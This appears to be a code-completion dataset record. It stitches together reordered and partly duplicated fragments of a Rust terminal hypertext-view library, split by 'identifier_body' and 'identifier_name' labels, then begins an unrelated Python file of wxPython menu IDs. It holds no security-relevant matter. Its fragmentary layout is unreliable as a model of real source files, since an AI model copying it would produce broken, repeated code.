impl Element {
/// Creates a new element with the given text, style and optional link target.
pub fn new(text: String, style: theme::Style, link_target: Option<String>) -> Element {
Element {
text,
style,
link_target,
}
}
/// Creates an element with the given text, with the default style and without a link target.
pub fn plain(text: String) -> Element {
Element {
text,
..Default::default()
}
}
/// Creates an element with the given text and style and without a link target.
pub fn styled(text: String, style: theme::Style) -> Element {
Element::new(text, style, None)
}
/// Creates an element with the given text, style and link target.
pub fn link(text: String, style: theme::Style, target: String) -> Element {
Element::new(text, style, Some(target))
}
}
impl From<String> for Element {
fn from(s: String) -> Element {
Element::plain(s)
}
}
impl From<Element> for RenderedElement {
fn from(element: Element) -> RenderedElement {
RenderedElement {
text: element.text,
style: element.style,
link_idx: None,
}
}
}
impl LinkHandler {
pub fn push(&mut self, link: Link) -> usize {
self.links.push(link);
self.links.len() - 1
}
pub fn take_focus(&mut self, direction: cursive_core::direction::Direction) -> bool {
if self.links.is_empty() {
false
} else {
use cursive_core::direction::{Absolute, Direction, Relative};
let rel = match direction {
Direction::Abs(abs) => match abs {
Absolute::Up | Absolute::Left | Absolute::None => Relative::Front,
Absolute::Down | Absolute::Right => Relative::Back,
},
Direction::Rel(rel) => rel,
};
self.focus = match rel {
Relative::Front => 0,
Relative::Back => self.links.len() - 1,
};
true
}
}
pub fn move_focus(&mut self, direction: cursive_core::direction::Absolute) -> bool {
use cursive_core::direction::{Absolute, Relative};
match direction {
Absolute::Left => self.move_focus_horizontal(Relative::Front),
Absolute::Right => self.move_focus_horizontal(Relative::Back),
Absolute::Up => self.move_focus_vertical(Relative::Front),
Absolute::Down => self.move_focus_vertical(Relative::Back),
Absolute::None => false,
}
}
fn move_focus_horizontal(&mut self, direction: cursive_core::direction::Relative) -> bool {
use cursive_core::direction::Relative;
if self.links.is_empty() {
return false;
}
let new_focus = match direction {
Relative::Front => self.focus.checked_sub(1),
Relative::Back => {
if self.focus < self.links.len() - 1 {
Some(self.focus + 1)
} else {
None
}
}
};
if let Some(new_focus) = new_focus {
if self.links[self.focus].position.y == self.links[new_focus].position.y {
self.focus = new_focus;
true
} else {
false
}
} else {
false
}
}
fn move_focus_vertical(&mut self, direction: cursive_core::direction::Relative) -> bool {
use cursive_core::direction::Relative;
if self.links.is_empty() {
return false;
}
// TODO: Currently, we select the first link on a different line. We could instead select
// the closest link on a different line (if there are multiple links on one line).
let y = self.links[self.focus].position.y;
let iter = self.links.iter().enumerate();
let next = match direction {
Relative::Front => iter
.rev()
.skip(self.links.len() - self.focus)
.find(|(_, link)| link.position.y < y),
Relative::Back => iter
.skip(self.focus + 1)
.find(|(_, link)| link.position.y > y),
};
if let Some((idx, _)) = next {
self.focus = idx;
true
} else {
false
}
}
pub fn important_area(&self) -> cursive_core::Rect {
if self.links.is_empty() {
cursive_core::Rect::from((0, 0))
} else {
let link = &self.links[self.focus];
cursive_core::Rect::from_size(link.position, (link.width, 1))
}
}
}
| let doc = &self.doc.as_ref().expect("layout not called before draw");
for (y, line) in doc.lines.iter().enumerate() {
let mut x = 0;
for element in line {
let mut style = element.style;
if let Some(link_idx) = element.link_idx {
if printer.focused && doc.link_handler.focus == link_idx {
style = style.combine(theme::PaletteColor::Highlight);
}
}
printer.with_style(style, |printer| printer.print((x, y), &element.text));
x += element.text.width();
}
}
}
| identifier_body |
lib.rs | // SPDX-FileCopyrightText: 2020 Robin Krahl <robin.krahl@ireas.org>
// SPDX-License-Identifier: Apache-2.0 or MIT
//! `cursive-markup` provides the [`MarkupView`][] for [`cursive`][] that can render HTML or other
//! markup.
//!
//! # Quickstart
//!
//! To render an HTML document, create a [`MarkupView`][] with the [`html`][] method, configure the
//! maximum line width using the [`set_maximum_width`][] method and set callbacks for the links
//! using the [`on_link_select`][] and [`on_link_focus`][] methods.
//!
//! Typically, you’ll want to wrap the view in a [`ScrollView`][] and add it to a
//! [`Cursive`][`cursive::Cursive`] instance.
//!
//! ```
//! // Create the markup view
//! let html = "<a href='https://rust-lang.org'>Rust</a>";
//! let mut view = cursive_markup::MarkupView::html(&html);
//! view.set_maximum_width(120);
//!
//! // Set callbacks that are called if the link focus is changed and if a link is selected with
//! // the Enter key
//! view.on_link_focus(|s, url| {});
//! view.on_link_select(|s, url| {});
//!
//! // Add the view to a Cursive instance
//! use cursive::view::{Resizable, Scrollable};
//! let mut s = cursive::dummy();
//! s.add_global_callback('q', |s| s.quit());
//! s.add_fullscreen_layer(view.scrollable().full_screen());
//! s.run();
//! ```
//!
//! You can use the arrow keys to navigate between the links and press Enter to trigger the
//! [`on_link_select`][] callback.
//!
//! For a complete example, see [`examples/browser.rs`][], a very simple browser implementation.
//!
//! # Components
//!
//! The main component of the crate is [`MarkupView`][]. It is a [`cursive`][] view that displays
//! hypertext: a combination of formatted text and links. You can use the arrow keys to navigate
//! between the links, and the Enter key to select a link.
//!
//! The displayed content is provided and rendered by a [`Renderer`][] instance. If the `html`
//! feature is enabled (default), the [`html::Renderer`][] can be used to parse and render an HTML
//! document with [`html2text`][]. But you can also implement your own [`Renderer`][].
//! [`MarkupView`][] caches the rendered document ([`RenderedDocument`][]) and only invokes the
//! renderer if the width of the view has been changed.
//!
//! ## HTML rendering
//!
//! To customize the HTML rendering, you can change the [`TextDecorator`][] that is used by
//! [`html2text`][] to transform the HTML DOM into annotated strings. Of course the renderer must
//! know how to interpret the annotations, so if you provide a custom decorator, you also have to
//! provide a [`Converter`][] that extracts formatting and links from the annotations.
//!
//! [`cursive`]: https://docs.rs/cursive/latest/cursive/
//! [`cursive::Cursive`]: https://docs.rs/cursive/latest/cursive/struct.Cursive.html
//! [`ScrollView`]: https://docs.rs/cursive/latest/cursive/views/struct.ScrollView.html
//! [`html2text`]: https://docs.rs/html2text/latest/html2text/
//! [`TextDecorator`]: https://docs.rs/html2text/latest/html2text/render/text_renderer/trait.TextDecorator.html
//! [`Converter`]: html/trait.Converter.html
//! [`MarkupView`]: struct.MarkupView.html
//! [`RenderedDocument`]: struct.RenderedDocument.html
//! [`Renderer`]: trait.Renderer.html
//! [`html`]: struct.MarkupView.html#method.html
//! [`set_maximum_width`]: struct.MarkupView.html#method.set_maximum_width
//! [`on_link_select`]: struct.MarkupView.html#method.on_link_select
//! [`on_link_focus`]: struct.MarkupView.html#method.on_link_focus
//! [`html::Renderer`]: html/struct.Renderer.html
//! [`examples/browser.rs`]: https://git.sr.ht/~ireas/cursive-markup-rs/tree/master/examples/browser.rs
#![warn(missing_docs, rust_2018_idioms)]
#[cfg(feature = "html")]
pub mod html;
use std::rc;
use cursive_core::theme;
use unicode_width::UnicodeWidthStr as _;
/// A view for hypertext that has been rendered by a [`Renderer`][].
///
/// This view displays hypertext (a combination of formatted text and links) that typically has
/// been parsed from a markup language. You can use the arrow keys to navigate between the links,
/// and the Enter key to select a link. If the focused link is changed, the [`on_link_focus`][]
/// callback is triggered. If the focused link is selected using the Enter key, the
/// [`on_link_select`][] callback is triggered.
///
/// The displayed hypertext is created by a [`Renderer`][] implementation. The `MarkupView` calls
/// the [`render`][] method with the size constraint provided by `cursive` and receives a
/// [`RenderedDocument`][] that contains the text and the links. This document is cached until the
/// available width changes.
///
/// You can also limit the available width by setting a maximum line width with the
/// [`set_maximum_width`][] method.
///
/// [`RenderedDocument`]: struct.RenderedDocument.html
/// [`Renderer`]: trait.Renderer.html
/// [`render`]: trait.Renderer.html#method.render
/// [`on_link_select`]: #method.on_link_select
/// [`on_link_focus`]: #method.on_link_focus
/// [`set_maximum_width`]: #method.set_maximum_width
pub struct MarkupView<R: Renderer + 'static> {
renderer: R,
doc: Option<RenderedDocument>,
on_link_focus: Option<rc::Rc<LinkCallback>>,
on_link_select: Option<rc::Rc<LinkCallback>>,
maximum_width: Option<usize>,
}
/// A callback that is triggered for a link.
///
/// The first argument is a mutable reference to the current [`Cursive`][] instance. The second
/// argument is the target of the link, typically a URL.
///
/// [`Cursive`]: https://docs.rs/cursive/latest/cursive/struct.Cursive.html
pub type LinkCallback = dyn Fn(&mut cursive_core::Cursive, &str);
/// A renderer that produces a hypertext document.
pub trait Renderer {
/// Renders this document within the given size constraint and returns the result.
///
/// This method is called by [`MarkupView`][] every time the provided width changes.
///
/// [`MarkupView`]: struct.MarkupView.html
fn render(&self, constraint: cursive_core::XY<usize>) -> RenderedDocument;
}
/// A rendered hypertext document that consists of lines of formatted text and links.
#[derive(Clone, Debug)]
pub struct RenderedDocument {
lines: Vec<Vec<RenderedElement>>,
link_handler: LinkHandler,
size: cursive_core::XY<usize>,
constraint: cursive_core::XY<usize>,
}
/// A hypertext element: a formatted string with an optional link target.
#[derive(Clone, Debug, Default)]
pub struct El |
text: String,
style: theme::Style,
link_target: Option<String>,
}
#[derive(Clone, Debug, Default)]
struct RenderedElement {
text: String,
style: theme::Style,
link_idx: Option<usize>,
}
#[derive(Clone, Debug, Default)]
struct LinkHandler {
links: Vec<Link>,
focus: usize,
}
#[derive(Clone, Debug)]
struct Link {
position: cursive_core::XY<usize>,
width: usize,
target: String,
}
#[cfg(feature = "html")]
impl MarkupView<html::RichRenderer> {
/// Creates a new `MarkupView` that uses a rich text HTML renderer.
///
/// *Requires the `html` feature (enabled per default).*
pub fn html(html: &str) -> MarkupView<html::RichRenderer> {
MarkupView::with_renderer(html::Renderer::new(html))
}
}
impl<R: Renderer + 'static> MarkupView<R> {
/// Creates a new `MarkupView` with the given renderer.
pub fn with_renderer(renderer: R) -> MarkupView<R> {
MarkupView {
renderer,
doc: None,
on_link_focus: None,
on_link_select: None,
maximum_width: None,
}
}
/// Sets the callback that is triggered if the link focus is changed.
///
/// Note that this callback is only triggered if the link focus is changed with the arrow keys.
/// It is not triggered if the view takes focus. The callback will receive the target of the
/// link as an argument.
pub fn on_link_focus<F: Fn(&mut cursive_core::Cursive, &str) + 'static>(&mut self, f: F) {
self.on_link_focus = Some(rc::Rc::new(f));
}
/// Sets the callback that is triggered if a link is selected.
///
/// This callback is triggered if a link is focused and the users presses the Enter key. The
/// callback will receive the target of the link as an argument.
pub fn on_link_select<F: Fn(&mut cursive_core::Cursive, &str) + 'static>(&mut self, f: F) {
self.on_link_select = Some(rc::Rc::new(f));
}
/// Sets the maximum width of the view.
///
/// This means that the width that is available for the renderer is limited to the given value.
pub fn set_maximum_width(&mut self, width: usize) {
self.maximum_width = Some(width);
}
fn render(&mut self, mut constraint: cursive_core::XY<usize>) -> cursive_core::XY<usize> {
let mut last_focus = 0;
if let Some(width) = self.maximum_width {
constraint.x = std::cmp::min(width, constraint.x);
}
if let Some(doc) = &self.doc {
if constraint.x == doc.constraint.x {
return doc.size;
}
last_focus = doc.link_handler.focus;
}
let mut doc = self.renderer.render(constraint);
// TODO: Rendering the document with a different width may lead to links being split up (or
// previously split up links being no longer split up). Ideally, we would adjust the focus
// for these changes.
if last_focus < doc.link_handler.links.len() {
doc.link_handler.focus = last_focus;
}
let size = doc.size;
self.doc = Some(doc);
size
}
}
impl<R: Renderer + 'static> cursive_core::View for MarkupView<R> {
fn draw(&self, printer: &cursive_core::Printer<'_, '_>) {
let doc = &self.doc.as_ref().expect("layout not called before draw");
for (y, line) in doc.lines.iter().enumerate() {
let mut x = 0;
for element in line {
let mut style = element.style;
if let Some(link_idx) = element.link_idx {
if printer.focused && doc.link_handler.focus == link_idx {
style = style.combine(theme::PaletteColor::Highlight);
}
}
printer.with_style(style, |printer| printer.print((x, y), &element.text));
x += element.text.width();
}
}
}
fn layout(&mut self, constraint: cursive_core::XY<usize>) {
self.render(constraint);
}
fn required_size(&mut self, constraint: cursive_core::XY<usize>) -> cursive_core::XY<usize> {
self.render(constraint)
}
fn take_focus(&mut self, direction: cursive_core::direction::Direction) -> bool {
self.doc
.as_mut()
.map(|doc| doc.link_handler.take_focus(direction))
.unwrap_or_default()
}
fn on_event(&mut self, event: cursive_core::event::Event) -> cursive_core::event::EventResult {
use cursive_core::direction::Absolute;
use cursive_core::event::{Callback, Event, EventResult, Key};
let link_handler = if let Some(doc) = self.doc.as_mut() {
if doc.link_handler.links.is_empty() {
return EventResult::Ignored;
} else {
&mut doc.link_handler
}
} else {
return EventResult::Ignored;
};
// TODO: implement mouse support
let focus_changed = match event {
Event::Key(Key::Left) => link_handler.move_focus(Absolute::Left),
Event::Key(Key::Right) => link_handler.move_focus(Absolute::Right),
Event::Key(Key::Up) => link_handler.move_focus(Absolute::Up),
Event::Key(Key::Down) => link_handler.move_focus(Absolute::Down),
_ => false,
};
if focus_changed {
let target = link_handler.links[link_handler.focus].target.clone();
EventResult::Consumed(
self.on_link_focus
.clone()
.map(|f| Callback::from_fn(move |s| f(s, &target))),
)
} else if event == Event::Key(Key::Enter) {
let target = link_handler.links[link_handler.focus].target.clone();
EventResult::Consumed(
self.on_link_select
.clone()
.map(|f| Callback::from_fn(move |s| f(s, &target))),
)
} else {
EventResult::Ignored
}
}
fn important_area(&self, _: cursive_core::XY<usize>) -> cursive_core::Rect {
if let Some(doc) = &self.doc {
doc.link_handler.important_area()
} else {
cursive_core::Rect::from((0, 0))
}
}
}
impl RenderedDocument {
/// Creates a new rendered document with the given size constraint.
///
/// The size constraint is used to check whether a cached document can be reused or whether it
/// has to be rendered for the new constraint. It is *not* enforced by this struct!
pub fn new(constraint: cursive_core::XY<usize>) -> RenderedDocument {
RenderedDocument {
lines: Vec::new(),
link_handler: Default::default(),
size: (0, 0).into(),
constraint,
}
}
/// Appends a rendered line to the document.
pub fn push_line<I: IntoIterator<Item = Element>>(&mut self, line: I) {
let mut rendered_line = Vec::new();
let y = self.lines.len();
let mut x = 0;
for element in line {
let width = element.text.width();
let link_idx = element.link_target.map(|target| {
self.link_handler.push(Link {
position: (x, y).into(),
width,
target,
})
});
x += width;
rendered_line.push(RenderedElement {
text: element.text,
style: element.style,
link_idx,
});
}
self.lines.push(rendered_line);
self.size = self.size.stack_vertical(&(x, 1).into());
}
}
impl Element {
/// Creates a new element with the given text, style and optional link target.
pub fn new(text: String, style: theme::Style, link_target: Option<String>) -> Element {
Element {
text,
style,
link_target,
}
}
/// Creates an element with the given text, with the default style and without a link target.
pub fn plain(text: String) -> Element {
Element {
text,
..Default::default()
}
}
/// Creates an element with the given text and style and without a link target.
pub fn styled(text: String, style: theme::Style) -> Element {
Element::new(text, style, None)
}
/// Creates an element with the given text, style and link target.
pub fn link(text: String, style: theme::Style, target: String) -> Element {
Element::new(text, style, Some(target))
}
}
impl From<String> for Element {
fn from(s: String) -> Element {
Element::plain(s)
}
}
impl From<Element> for RenderedElement {
fn from(element: Element) -> RenderedElement {
RenderedElement {
text: element.text,
style: element.style,
link_idx: None,
}
}
}
impl LinkHandler {
pub fn push(&mut self, link: Link) -> usize {
self.links.push(link);
self.links.len() - 1
}
pub fn take_focus(&mut self, direction: cursive_core::direction::Direction) -> bool {
if self.links.is_empty() {
false
} else {
use cursive_core::direction::{Absolute, Direction, Relative};
let rel = match direction {
Direction::Abs(abs) => match abs {
Absolute::Up | Absolute::Left | Absolute::None => Relative::Front,
Absolute::Down | Absolute::Right => Relative::Back,
},
Direction::Rel(rel) => rel,
};
self.focus = match rel {
Relative::Front => 0,
Relative::Back => self.links.len() - 1,
};
true
}
}
pub fn move_focus(&mut self, direction: cursive_core::direction::Absolute) -> bool {
use cursive_core::direction::{Absolute, Relative};
match direction {
Absolute::Left => self.move_focus_horizontal(Relative::Front),
Absolute::Right => self.move_focus_horizontal(Relative::Back),
Absolute::Up => self.move_focus_vertical(Relative::Front),
Absolute::Down => self.move_focus_vertical(Relative::Back),
Absolute::None => false,
}
}
fn move_focus_horizontal(&mut self, direction: cursive_core::direction::Relative) -> bool {
use cursive_core::direction::Relative;
if self.links.is_empty() {
return false;
}
let new_focus = match direction {
Relative::Front => self.focus.checked_sub(1),
Relative::Back => {
if self.focus < self.links.len() - 1 {
Some(self.focus + 1)
} else {
None
}
}
};
if let Some(new_focus) = new_focus {
if self.links[self.focus].position.y == self.links[new_focus].position.y {
self.focus = new_focus;
true
} else {
false
}
} else {
false
}
}
fn move_focus_vertical(&mut self, direction: cursive_core::direction::Relative) -> bool {
use cursive_core::direction::Relative;
if self.links.is_empty() {
return false;
}
// TODO: Currently, we select the first link on a different line. We could instead select
// the closest link on a different line (if there are multiple links on one line).
let y = self.links[self.focus].position.y;
let iter = self.links.iter().enumerate();
let next = match direction {
Relative::Front => iter
.rev()
.skip(self.links.len() - self.focus)
.find(|(_, link)| link.position.y < y),
Relative::Back => iter
.skip(self.focus + 1)
.find(|(_, link)| link.position.y > y),
};
if let Some((idx, _)) = next {
self.focus = idx;
true
} else {
false
}
}
pub fn important_area(&self) -> cursive_core::Rect {
if self.links.is_empty() {
cursive_core::Rect::from((0, 0))
} else {
let link = &self.links[self.focus];
cursive_core::Rect::from_size(link.position, (link.width, 1))
}
}
}
| ement { | identifier_name |
ed_glob.py | ###############################################################################
# Name: ed_glob.py #
# Purpose: Global IDs/objects used throughout Editra #
# Author: Cody Precord <cprecord@editra.org> #
# Copyright: (c) 2007 Cody Precord <staff@editra.org> #
# License: wxWindows License #
###############################################################################
"""
This file contains variables that are or may be used in multiple files and
libraries within the project. Its purpose is to create a globally accessible
access point for all common variables in the project.
"""
__author__ = "Cody Precord <cprecord@editra.org>"
__svnid__ = "$Id: ed_glob.py 70747 2012-02-29 01:33:35Z CJP $"
__revision__ = "$Revision: 70747 $"
__all__ = [ 'CONFIG', 'SB_INFO', 'VERSION', 'PROG_NAME', 'ID_NEW', 'ID_OPEN',
'ID_CLOSE', 'ID_CLOSEALL', 'ID_SAVE', 'ID_SAVEAS', 'ID_SAVEALL',
'ID_SAVE_PROFILE', 'ID_LOAD_PROFILE', 'ID_PRINT', 'ID_PRINT_PRE',
'ID_PRINT_SU', 'ID_EXIT', 'ID_UNDO', 'ID_REDO', 'ID_CUT',
'ID_COPY', 'ID_PASTE', 'ID_SELECTALL', 'ID_ADD_BM',
'ID_DEL_ALL_BM', 'ID_LINE_AFTER', 'ID_LINE_BEFORE', 'ID_CUT_LINE',
'ID_COPY_LINE', 'ID_JOIN_LINES', 'ID_TRANSPOSE', 'ID_DELETE_LINE',
'ID_LINE_MOVE_UP', 'ID_LINE_MOVE_DOWN',
'ID_QUICK_FIND', 'ID_PREF', 'ID_ZOOM_OUT',
'HOME_PAGE', 'CONTACT_MAIL', 'ID_ZOOM_IN', 'ID_ZOOM_NORMAL',
'ID_SHOW_EDGE', 'ID_SHOW_EOL', 'ID_SHOW_LN', 'ID_SHOW_WS',
'ID_PERSPECTIVES', 'ID_INDENT_GUIDES', 'ID_VIEW_TOOL',
'ID_GOTO_LINE', 'ID_NEXT_MARK', 'ID_PRE_MARK', 'ID_FONT',
'ID_EOL_MAC', 'ID_EOL_UNIX', 'ID_EOL_WIN', 'ID_WORD_WRAP',
'ID_INDENT', 'ID_UNINDENT', 'ID_TO_UPPER', 'ID_TO_LOWER',
'ID_SPACE_TO_TAB', 'ID_TAB_TO_SPACE', 'ID_TRIM_WS',
'ID_TOGGLECOMMENT', 'ID_AUTOCOMP', 'ID_AUTOINDENT', 'ID_SYNTAX',
'ID_FOLDING', 'ID_BRACKETHL', 'ID_LEXER',
'ID_PLUGMGR', 'ID_STYLE_EDIT', 'ID_MACRO_START', 'ID_MACRO_STOP',
'ID_MACRO_PLAY', 'ID_ABOUT', 'ID_HOMEPAGE', 'ID_CONTACT',
'ID_BUG_TRACKER', 'ID_DOCUMENTATION', 'ID_COMMAND',
'ID_USE_SOFTTABS', 'ID_DUP_LINE', 'ID_TRANSLATE',
'I18N_PAGE', 'ID_GOTO_MBRACE', 'ID_HLCARET_LINE', 'ID_SHOW_SB',
'ID_REVERT_FILE', 'ID_RELOAD_ENC', 'ID_DOCPROP', 'ID_PASTE_AFTER',
'ID_COLUMN_MODE', 'ID_PANELIST', 'ID_MAXIMIZE_EDITOR',
'ID_NEW_WINDOW', 'ID_TOGGLE_FOLD', 'ID_TOGGLE_ALL_FOLDS',
'ID_SAVE_SESSION', 'ID_LOAD_SESSION', 'ID_NEXT_POS', 'ID_PRE_POS',
'ID_CYCLE_CLIPBOARD', 'ID_LEXER_CUSTOM', 'ID_SHOW_AUTOCOMP',
'ID_SHOW_CALLTIP', 'ID_SESSION_BAR', 'ID_PREF_CARET_WIDTH' ]
#---- Project Info ----#
# The project info was moved to another module so it could be accessed
# externally without needing to import anything else. It's imported
# here with a * until there isn't anyplace left that expects to find
# these values in this module.
from info import *
#---- End Project Info ----#
#---- Imported Libs/Objects ----#
import wx
_ = wx.GetTranslation
#---- WX Compatibility Hacks ----#
import wxcompat
#---- Configuration Locations ----#
# Values set when main loads
CONFIG = {
'ISLOCAL' : False, # Using local config (no abs path)
'CONFIG_BASE' : None, # Set if config base is in nonstandard location
'INSTALL_DIR' : "", # Instal directory
'CONFIG_DIR' : "", # Root configration directory
'CACHE_DIR' : "", # Holds temp data about documents
'KEYPROF_DIR' : "", # System Keybinding
'PROFILE_DIR' : "", # User Profile Directory
'PLUGIN_DIR' : "", # User Plugin Dir
'SYSPIX_DIR' : "", # Editras non user graphics
'THEME_DIR' : "", # Theme Directory
'LANG_DIR' : "", # Locale Data Directory
'SYS_PLUGIN_DIR' : "", # Editra base plugin dir
'SYS_STYLES_DIR' : "", # Editra base style sheets
'TEST_DIR' : "", # Test data files dir
}
# Global logging/application variables
DEBUG = False
VDEBUG = False
SINGLE = True
#---- Object ID's ----#
# File Menu IDs
ID_NEW = wx.ID_NEW
ID_NEW_WINDOW = wx.NewId()
ID_OPEN = wx.ID_OPEN
ID_FHIST = wx.NewId()
ID_CLOSE = wx.ID_CLOSE
ID_CLOSEALL = wx.ID_CLOSE_ALL
ID_CLOSE_OTHERS = wx.NewId()
ID_CLOSE_WINDOW = wx.NewId()
ID_SAVE = wx.ID_SAVE
ID_SAVEAS = wx.ID_SAVEAS
ID_SAVEALL = wx.NewId()
ID_REVERT_FILE = wx.ID_REVERT_TO_SAVED
ID_RELOAD_ENC = wx.NewId()
ID_SAVE_PROFILE = wx.NewId()
ID_LOAD_PROFILE = wx.NewId()
ID_SAVE_SESSION = wx.NewId()
ID_LOAD_SESSION = wx.NewId()
ID_SESSION_BAR = wx.NewId()
ID_PRINT = wx.ID_PRINT
ID_PRINT_PRE = wx.ID_PREVIEW
ID_PRINT_SU = wx.NewId()
ID_EXIT = wx.ID_EXIT
# Edit Menu IDs
ID_UNDO = wx.ID_UNDO
ID_REDO = wx.ID_REDO
ID_CUT = wx.ID_CUT
ID_COPY = wx.ID_COPY
ID_PASTE = wx.ID_PASTE
ID_CYCLE_CLIPBOARD = wx.NewId()
ID_PASTE_AFTER = wx.NewId()
ID_SELECTALL = wx.ID_SELECTALL
ID_COLUMN_MODE = wx.NewId()
ID_LINE_EDIT = wx.NewId()
ID_BOOKMARK = wx.NewId()
ID_ADD_BM = wx.NewId()
ID_DEL_BM = wx.NewId() # Not used in menu anymore
ID_DEL_ALL_BM = wx.NewId()
ID_LINE_AFTER = wx.NewId()
ID_LINE_BEFORE = wx.NewId()
ID_CUT_LINE = wx.NewId()
ID_DELETE_LINE = wx.NewId()
ID_COPY_LINE = wx.NewId()
ID_DUP_LINE = wx.NewId()
ID_JOIN_LINES = wx.NewId()
ID_TRANSPOSE = wx.NewId()
ID_LINE_MOVE_UP = wx.NewId()
ID_LINE_MOVE_DOWN= wx.NewId()
ID_SHOW_AUTOCOMP = wx.NewId()
ID_SHOW_CALLTIP = wx.NewId()
ID_FIND = wx.ID_FIND
ID_FIND_PREVIOUS = wx.NewId()
ID_FIND_NEXT = wx.NewId()
ID_FIND_REPLACE = wx.ID_REPLACE
ID_FIND_SELECTED = wx.NewId()
# Using the system ids automatically disables the menus items
# when the dialog is open which is not wanted
if wx.Platform == '__WXMAC__':
ID_FIND = wx.NewId()
ID_FIND_REPLACE = wx.NewId()
ID_QUICK_FIND = wx.NewId()
ID_PREF = wx.ID_PREFERENCES
# Preference Dlg Ids
ID_PREF_LANG = wx.NewId()
ID_PREF_AALIAS = wx.NewId()
ID_PREF_AUTOBKUP = wx.NewId()
ID_PREF_AUTO_RELOAD = wx.NewId()
ID_PREF_AUTOCOMPEX = wx.NewId()
ID_PREF_AUTOTRIM = wx.NewId()
ID_PREF_CHKMOD = wx.NewId()
ID_PREF_CHKUPDATE = wx.NewId()
ID_PREF_DLEXER = wx.NewId()
ID_PREF_EDGE = wx.NewId()
ID_PREF_ENCODING = wx.NewId()
ID_PREF_SYNTHEME = wx.NewId()
ID_PREF_TABS = wx.NewId()
ID_PREF_UNINDENT = wx.NewId()
ID_PREF_TABW = wx.NewId()
ID_PREF_INDENTW = wx.NewId()
ID_PREF_FHIST = wx.NewId()
ID_PREF_WSIZE = wx.NewId()
ID_PREF_WPOS = wx.NewId()
ID_PREF_ICON = wx.NewId()
ID_PREF_ICONSZ = wx.NewId()
ID_PREF_MODE = wx.NewId()
ID_PREF_TABICON = wx.NewId()
ID_PRINT_MODE = wx.NewId()
ID_TRANSPARENCY = wx.NewId()
ID_PREF_SPOS = wx.NewId()
ID_PREF_UPDATE_BAR = wx.NewId()
ID_PREF_VIRT_SPACE = wx.NewId()
ID_PREF_CARET_WIDTH = wx.NewId()
ID_PREF_WARN_EOL = wx.NewId()
ID_SESSION = wx.NewId()
# View Menu IDs
ID_ZOOM_OUT = wx.ID_ZOOM_OUT
ID_ZOOM_IN = wx.ID_ZOOM_IN
ID_ZOOM_NORMAL = wx.ID_ZOOM_100
ID_HLCARET_LINE = wx.NewId()
ID_SHOW_EDGE = wx.NewId()
ID_SHOW_EOL = wx.NewId()
ID_SHOW_LN = wx.NewId()
ID_SHOW_WS = wx.NewId()
ID_SHOW_SHELF = wx.NewId()
ID_PERSPECTIVES = wx.NewId()
ID_INDENT_GUIDES = wx.NewId()
ID_SHOW_SB = wx.NewId()
ID_VIEW_TOOL = wx.NewId()
ID_SHELF = wx.NewId()
ID_PANELIST = wx.NewId()
ID_GOTO_LINE = wx.NewId()
ID_GOTO_MBRACE = wx.NewId()
ID_TOGGLE_FOLD = wx.NewId()
ID_TOGGLE_ALL_FOLDS = wx.NewId()
ID_NEXT_POS = wx.NewId()
ID_PRE_POS = wx.NewId()
ID_NEXT_MARK = wx.ID_FORWARD
ID_PRE_MARK = wx.ID_BACKWARD
ID_MAXIMIZE_EDITOR = wx.NewId()
# Format Menu IDs
ID_FONT = wx.NewId()
ID_EOL_MODE = wx.NewId()
ID_EOL_MAC = wx.NewId()
ID_EOL_UNIX = wx.NewId()
ID_EOL_WIN = wx.NewId()
ID_USE_SOFTTABS = wx.NewId()
ID_WORD_WRAP = wx.NewId()
ID_INDENT = wx.ID_INDENT
ID_UNINDENT = wx.ID_UNINDENT
ID_TO_UPPER = wx.NewId()
ID_TO_LOWER = wx.NewId()
ID_WS_FORMAT = wx.NewId()
ID_SPACE_TO_TAB = wx.NewId()
ID_TAB_TO_SPACE = wx.NewId()
ID_TRIM_WS = wx.NewId()
ID_TOGGLECOMMENT = wx.NewId()
# Settings Menu IDs
ID_AUTOCOMP = wx.NewId()
ID_AUTOINDENT = wx.NewId()
ID_SYNTAX = wx.NewId()
ID_SYN_ON = wx.NewId()
ID_SYN_OFF = wx.NewId()
ID_FOLDING = wx.NewId()
ID_BRACKETHL = wx.NewId()
ID_LEXER = wx.NewId()
ID_LEXER_CUSTOM = wx.NewId()
# Tool Menu IDs
ID_COMMAND = wx.NewId()
ID_PLUGMGR = wx.NewId()
ID_STYLE_EDIT = wx.ID_EDIT
ID_MACRO_START = wx.NewId()
ID_MACRO_STOP = wx.NewId()
ID_MACRO_PLAY = wx.NewId()
ID_GENERATOR = wx.NewId()
ID_HTML_GEN = wx.NewId()
ID_TEX_GEN = wx.NewId()
ID_RTF_GEN = wx.NewId()
ID_RUN_LAUNCH = wx.NewId()
ID_LAUNCH_LAST = wx.NewId()
# Help Menu IDs
ID_ABOUT = wx.ID_ABOUT
ID_HOMEPAGE = wx.ID_HOME
ID_DOCUMENTATION = wx.NewId()
ID_TRANSLATE = wx.NewId()
ID_CONTACT = wx.NewId()
ID_BUG_TRACKER = wx.NewId()
# Misc IDs
ID_ADD = wx.ID_ADD
ID_ADVANCED = wx.NewId()
ID_APP_SPLASH = wx.NewId()
ID_BACKWARD = wx.ID_BACKWARD
ID_BIN_FILE = ID_COMMAND
ID_CDROM = wx.NewId()
ID_COMMAND_LINE_OPEN = wx.NewId()
ID_COMPUTER = wx.NewId()
ID_COPY_PATH = wx.NewId()
ID_COPY_FILE = wx.NewId()
ID_DELETE = wx.NewId()
ID_DELETE_ALL = wx.NewId()
ID_DOCPROP = wx.NewId()
ID_DOWN = wx.ID_DOWN
ID_DOWNLOAD_DLG = wx.NewId()
ID_FILE = wx.ID_FILE
ID_FIND_RESULTS = wx.NewId()
ID_FLOPPY = wx.NewId()
ID_FOLDER = wx.NewId()
ID_FORWARD = wx.ID_FORWARD
ID_HARDDISK = wx.NewId()
ID_KEY_PROFILES = wx.NewId()
ID_LOGGER = wx.NewId()
ID_BOOKMARK_MGR = wx.NewId()
ID_MOVE_TAB = wx.NewId()
ID_PACKAGE = wx.NewId()
ID_PYSHELL = wx.NewId()
ID_REFRESH = wx.ID_REFRESH
ID_REMOVE = wx.ID_REMOVE
ID_REPORTER = wx.NewId()
ID_STOP = wx.ID_STOP
ID_THEME = wx.NewId()
ID_USB = wx.NewId()
ID_UP = wx.ID_UP
ID_VI_MODE = wx.NewId()
ID_VI_NORMAL_DEFAULT = wx.NewId()
ID_WEB = wx.NewId()
ID_READONLY = wx.NewId()
ID_NEW_FOLDER = wx.NewId()
# Code Elements (ids for art provider)
ID_CLASS_TYPE = wx.NewId()
ID_FUNCT_TYPE = wx.NewId()
ID_ELEM_TYPE = wx.NewId()
ID_VARIABLE_TYPE = wx.NewId()
ID_ATTR_TYPE = wx.NewId()
ID_PROPERTY_TYPE = wx.NewId()
